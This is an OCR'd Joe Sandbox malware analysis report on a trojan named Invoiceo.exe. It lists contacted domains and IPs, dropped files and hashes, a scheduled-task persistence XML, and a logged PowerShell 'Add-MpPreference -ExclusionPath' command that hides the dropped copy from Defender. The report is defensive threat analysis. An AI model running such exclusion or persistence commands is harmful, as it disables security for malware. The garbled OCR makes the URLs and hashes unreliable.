URL Reputation: safe
Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe

.

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe

.

.

URL Reputation: safe
URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe

.

.

Avira URL Cloud: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

.

.

Avira URL Cloud: safe

Avira URL Cloud: safe

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

high

unknown

unknown
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Name

hitp://www.bahama-id.com/csi/www.uspaypausa.com

http:/f

https://github.com/unguest9WinForms_RecursiveFormCreate5

WinForms_SeelnnerExceptionGProperty

hitp://www.apache.org/licenses/LICENSE-2.0

hitp:/f\www.fontbureau.com

hitp:/fiwww.swim-maki.comReferer:

hitp://iwww.adtlive.com/csi/

hitp://\www.kontrey.com/csi/www.bahama-id.com

hitp://www.naturaldesiproducts.comReferer:

hitp://www.bermudesfcrasettlement.comReferer:

hitp://iwww.nelivo.com

hitp://https://go.micro

hitp://www.ss01center.com/csi/

hitp:/fiwww.bahama-id.com/csi/

hitp://www.bioshope.online

hitp:/fiwww.swim-maki.com

hitp:/fiwww.tabuk24.com

hitp:/fiwww.kontrey.com

hitp://iwww.kontrey.comReferer:

hitp://\www.foodbyroyalbites.com/csi/www.bioshope.online

hitp:/fwww.wristaidmd.com

hitp://www.adtlive.com/csi/www.rare-snare.com

hitp://www.carterandcone.coml

hitp:/fiwww.ssO1center.comReferer:

hitp:/fiwww.tabuk24.comReferer:
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Source

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Invoiceo.exe

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

powershell.exe, 00000004.00000
003.320382870.0000000004F91000
.00000004.00000001.sdmp, power
shell.exe, 00000006.00000003.3
25533885.0000000005112000.0000
0004.00000001.sdmp, powershell.exe,
0000000A.00000003.333217488.000000
00052FC000.00000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

.

.

.

.

o

.

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

e URL Reputation:
e URL Reputation:
e URL Reputation:

.

.

.

.

°

°

.

o

o

o

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

e URL Reputation:
e URL Reputation:
e URL Reputation:

.

.

Avira URL Cloud:

Avira URL Cloud:

safe

safe

safe

safe

safe

safe

safe
safe
safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe
safe
safe

safe

safe

Reputation

unknown

high

high

high

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

hitp://www.fontbureau.com/designers/cabarga.htmIN

hitp://www.founder.com.cn/cn

hitp:/f\www.fontbureau.com/designers/frere-jones.html

hitp://www.naturaldesiproducts.com

hitp://www.ssO1center.com

hitp:/fiwww.tabuk24.com/csi/www.swim-maki.com

hitp:/fiwww.jiyu-kobo.co.jp/

hitp:/f\www.fontbureau.com/designers8

hitp://\www.rare-snare.comReferer:

hitp://www.naturaldesiproducts.com/csi/M

hitp://www.kontrey.com/csi/

hitp://\www.bioshope.online/csi/www.wristaidmd.com

hitp://www.bahama-id.com

hitp://iwww.uspaypausa.comReferer:

hitp:/fiwww.wristaidmd.comReferer:

hitp:/f\www.rare-snare.com/csi/

hitp:/fiwww.tabuk24.com/csi/

Contacted IPs
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Source

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

safe
safe
safe

safe

safe

safe

safe
safe
safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

Reputation

high

unknown

high

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public
P Domain
154.207.58.218 www.tabuk24.com

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

Copyright Joe Security LLC 2021

Country Flag
Seychelles £

ASN Name

XIAOZHIYUN1-AS-
APICIDCNETWORKUS

32.0.0 Black Diamond
402845

03.05.2021

14:49:18

CloudBasic

Oh 14m 22s

false

light

Invoiceo.exe

default.jbs

Malicious

true

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8

Update 211
39

r O O O

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.evad. WinEXE@19/19@3/1
Failed
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HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs
Time

14:50:05
14:50:49

Copyright Joe Security LLC 2021

2x Sleep call for process: Invoiceo.exe modified

105x Sleep call for process: powershell.exe modified

Successful, ratio: 30.1% (good quality ratio 28.1%)
Quality average: 70.8%
Quality standard deviation: 30.4%

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
.exe

Show All
e Excluded IPs from analysis (whitelisted):

52.255.188.83, 20.50.102.62, 204.79.197.200,
13.107.21.200, 104.42.151.234, 92.122.145.220,
52.147.198.201, 13.64.90.137, 23.57.80.111,
51.103.5.186, 205.185.216.10, 205.185.216.42,
92.122.213.247, 92.122.213.249, 20.54.26.129,
52.155.217.156

Excluded domains from analysis (whitelisted):
arc.msn.com.nsatc.net, store-images.s-
microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
consumerrp-displaycatalog-aks2eap-
europe.md.mp.microsoft.com.akadns.net,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
wns.notify.trafficmanager.net, www-bing-com.dual-
a-0001.a-msedge.net,
audownload.windowsupdate.nsatc.net,
au.download.windowsupdate.com.hwcdn.net,
arc.trafficmanager.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com,
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
skypedataprdcolwus17.cloudapp.net,
client.wns.windows.com, fs.microsoft.com, dual-a-
0001.a-msedge.net, displaycatalog-rp-
europe.md.mp.microsoft.com.akadns.net, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net,
ctldl.windowsupdate.com,
cds.d2s7g6s2.hwcdn.net,
skypedataprdcoleus16.cloudapp.net,
ris.api.iris.microsoft.com,
skypedataprdcoleus17.cloudapp.net, a-0001.a-
afdentry.net.trafficmanager.net, store-images.s-
microsoft.com,
blobcollector.events.data.trafficmanager.net,
skypedataprdcolwus16.cloudapp.net,
displaycatalog-rp.md.mp.microsoft.com.akadns.net
Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many
NtAllocateVirtualMemory calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtProtectVirtualMemory calls found.

Report size getting too big, too many
NtQueryValueKey calls found.
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Joe Sandbox View | Context

IPs
No context
Domains
No context
ASN
Match Associated Sample Name /| URL SHA 256 Detection Link Context
XIAOZHIYUNL-AS- pGimzniESE I Get hash malicious Browse o 154.207.58.69
APICIDCNETWORKUS _ Get hash malicious Browse e 156.234.19
9.243
_ Get hash malicious Browse e 156.253.78.210
_ Get hash malicious Browse e 154.222.72.30
_ Get hash malicious Browse e 156.241.53.161
_ Get hash malicious Browse e 154.207.35.111
_ Get hash malicious Browse e 156.255.14
0.216
_ Get hash malicious Browse e 156.255.14
0.216
_ Get hash malicious Browse e 156.226.160.44
_ Get hash malicious Browse e 156.226.160.44
_ Get hash malicious Browse e 156.241.53.161
_ Get hash malicious Browse e 156.254.140.36
_ Get hash malicious Browse e 156.255.14
0.216
_ Get hash malicious Browse e 154.207.35.105
_ Get hash malicious Browse e 156.224.66.218
_ Get hash malicious Browse e 164.155.20.27
_ Get hash malicious Browse e 156.255.14
0.216
_ Get hash malicious Browse e 156.241.53.167
_ Get hash malicious Browse e 156.241.53.167
_ Get hash malicious Browse e 156.226.160.56

JA3 Fingerprints
No context

Dropped Files

No context

Created / dropped Files

Process: C:\Users\user\Desktop\Invoiceo.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 1406

Entropy (8bit): 5.341099307467139

Encrypted: false

SSDEEP: 24:MLUB4JE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4KzZr7FE4SAMER:MgvjHK5HKXE1gHiYHKhQnoPtHoxHhAHg

MD5: E5FA1A53BA6D70E18192AF6AF7CFDBFA

SHAL: 1C076481F11366751B8DA795C98A54DEBD1D82D5

SHA-256: 1D7BAA6D3EB5A504FD4652BC01A0864DEE898D35D9E29D03EB4A60BOD6405D83

SHA-512: 77850814E24DB48E3DDFIDF5B6A8110EE1A823BAABABO0F89CD353EACTF72E48B13F3F4A4DCBESFOFAA7T07ATF14ED90577CF1CB106A0422FOBEDD1EFD2E94(
E4

Malicious: true
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https://view.joesandbox.com/analysis/308698/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/308698/html/none?idtype=webid
https://view.joesandbox.com/analysis/307253/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307253/html/none?idtype=webid
https://view.joesandbox.com/analysis/305537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305537/html/none?idtype=webid
https://view.joesandbox.com/analysis/305260/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305260/html/none?idtype=webid
https://view.joesandbox.com/analysis/303828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/303828/html/none?idtype=webid
https://view.joesandbox.com/analysis/303795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/303795/html/none?idtype=webid
https://view.joesandbox.com/analysis/303747/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/303747/html/none?idtype=webid
https://view.joesandbox.com/analysis/300854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300854/html/none?idtype=webid
https://view.joesandbox.com/analysis/300545/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300545/html/none?idtype=webid
https://view.joesandbox.com/analysis/300255/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300255/html/none?idtype=webid
https://view.joesandbox.com/analysis/296790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/296790/html/none?idtype=webid
https://view.joesandbox.com/analysis/296163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/296163/html/none?idtype=webid
https://view.joesandbox.com/analysis/295943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/295943/html/none?idtype=webid
https://view.joesandbox.com/analysis/295321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/295321/html/none?idtype=webid
https://view.joesandbox.com/analysis/294820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294820/html/none?idtype=webid
https://view.joesandbox.com/analysis/294188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294188/html/none?idtype=webid
https://view.joesandbox.com/analysis/293893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293893/html/none?idtype=webid
https://view.joesandbox.com/analysis/293892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293892/html/none?idtype=webid
https://view.joesandbox.com/analysis/293839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293839/html/none?idtype=webid
https://view.joesandbox.com/analysis/293215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293215/html/none?idtype=webid

Preview:

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Wind
ows\assembly\Nativelmages_v4.0.30319_32\System\4fO0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

14734

4.993014478972177

false
384:cBVoGIpN6KQKj2Wkjh4iUxtaKdROdBLNXp5nY0Gib4J:cBV3IpNBQkj2Lh4iUxtakdAROdBLNZBYH
8D5E194411E038C060288366D6766D3D

DC1A8229EDOB909042065EA69253E86E86D71C88
44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8CI3D390E31F
21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2BIDF27B2816D6EE3B3187E54BF066A96DBIEC1FF47FF86FEA36282AB90636

false

C:\Users\luser\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

22332

5.602163865817749

false
384:jtCDz0iqoAidsgmwSBKnOultlo3D7Q99gxSJUeRe1BMym3Z1AV73nvTOP0641+50:fPCh4K3Itp3w8xXeN/4XNO
8A5ADAC3203440E5B488084BFEB3759E

93594B1C844CDFD2A1CAFAAF3B32ABE214107218
2B961420315D242E4A681DA21085E6FC4B088DF70C5BBEA721C9172D6066E169
22ED2555301CFC353B66F9453E5064277208063E0429A6579D40B321F94ECAODC7CO50A6ED75C7E1119133FE28474271E39325D4EFCIFC00180645AE2867F82E

false

/.. .@... H .<@N.L."My....R..... .Microsoft.PowerShell.ConsoleHostD ..X.)........System.Management. Automati
[..{a.C..%6..h System.Core.0. ...G-.0...A.L4B........System..4............... Zg5..:0..9..q...... System. Xml..L..............7..... J@.....~. #.Microso
ft. Management.Infrastructure.8......... "..L.}...System.Numerics.@................. Lo...QN......<Q........ System.DirectoryServices<................ H.QN.Y.fo.e Syste
m.Management...4...........cccco.... ].D.E...#.....System.Data.H................. ... H..m)aUu......... Microsoft.PowerShell.Security...<................. ~[L.D.Z>.m........ System.Trans
actions.<............... ):gK..G...$.1.q........ System.ConfigurationP................. 1.C..J.%..]...... %.Microsoft.PowerShell. Commands.Utility...D.................. -D.F.<;ntl.... Sy

stem.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dpod1dif.1ty.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651(
A

false

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_fvegrtut.myf.psm1

Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
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C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_fvegrtut.myf.psm1

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_t10emffs.5zu.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vijt5kae.3jh.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_voiul3at.ago.psml

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1
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C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_yOwayzft.p4m.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:Uu

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FO9BD058A12A280433EDGFA4651(
A

false

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Invoiceo.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1642

5.1879886656641165

false
24:2dH4+SEqC/Q7hxINMFp1/IMhEMjnGpwjplgUYODOLD9RJIh7h8gKBIOtn:cbh47TINQ//rydbz913YODOLNdq3io
36AA9FF53886534237FAABD58ADEEGAS

80B6C67B09BB123C60E16C52D66BECBCEC5E5284
97229E624C1D7C42A3C9996F539A74F461ADD77145F3EAEF9A4ABF81B56D4D8B

CF3980600E5F013762770D33F2DFA9DA072292E1992D4CB8EF11A387B935A09E49ACA297A5E7ABCOBEEDC7D551B9BAAALIE2705E53283BDB21B2BD753ABEAE
70

true

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>computer\user</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>computer\user</Userld>..  <LogonType>InteractiveToken</LogonType>.. = <RunLevel>LeastPrivilege</RunLevel>.. </Pri
ncipal>.. </Principals>.. <Settings>.. <MultiplelnstancesPolicy>StopExisting</MultiplelnstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatte
ries>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. ~<AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Users\user\Desktop\Invoiceo.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

767488

7.926254649230044

false

12288:TXgCvpTVNXNTOGxXNwf092eFjux/6VLcviorDC77Fd6LxIKC088VTO/gVwCTpaOMR:TXhvpTfdrR2+j7VLOioretkxIXQO0/bOy
8F2489D7CE50E99109AF9925818DAF2B

5481D53E59FDALEOD849B677E15B410BA6F64FBC

0013853950647289E952326B93CE46AA3E73DB654367EF3C005E29257DB31FBA
E68ACOD33DDECB3712068F94B3A1459F57B26A9E74E970CB7FACE2F1E64341D72294B2907049E738D115807EF9BDIE622483B64C2E2B26CC228DF52A4219526¢

true

e Antivirus: ReversingLabs, Detection: 21%

C:\Users\luser\AppData\Roaming\yYxmxiApi.exe:Zone.ldentifier

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Users\user\Desktop\Invoiceo.exe

ASCII text, with CRLF line terminators
dropped

26

3.95006375643621

false

3:ggPYVIrPYV
187F488E27DB4AF347237FE461A079AD
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C:\Users\luser\AppData\Roaming\yYxmxiApi.exe:Zone.ldentifier

SHA1L:

SHA-256:
SHA-512:
Malicious:

Preview:

6693BA299EC1881249D59262276A0D2CB21F8EG4
255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64

false

[ZoneTransfer]....Zoneld=0

C:\Users\user\Documents\20210503\PowerShell_transcript.065367.35C6bBM3.20210503145014.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5785

5.404231133025547

false

96:BZbhJNRtqD0o1ZHZuPhJINRtqD01Z4djh7jZ8hIJNRtqDo1ZWqrrVZCa:70Tf
A20CEBCBBAC4DF52F4C662AB1555669B
26FOBD1E99AA3BID36BIFFOB53B772602E990AC4
9A1339776210E234B2B731417E4C19F9A2F30FD2266C9E45C002CEC11818D270
2C611FEECOE85BB17802594388DC5D6B85505F06565685997C184FCA188BA5D285DDEF69E498C7129E4AFE466648DDB1A2FD20308537D3A8D4FBB37836878DD

false

Jerkidddeasak | \Windows PowerShell transcript start..Start time: 20210503145037..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 065367 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\AppData\Roaming\yYxmxiApi.exe..Process ID: 6856..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0,
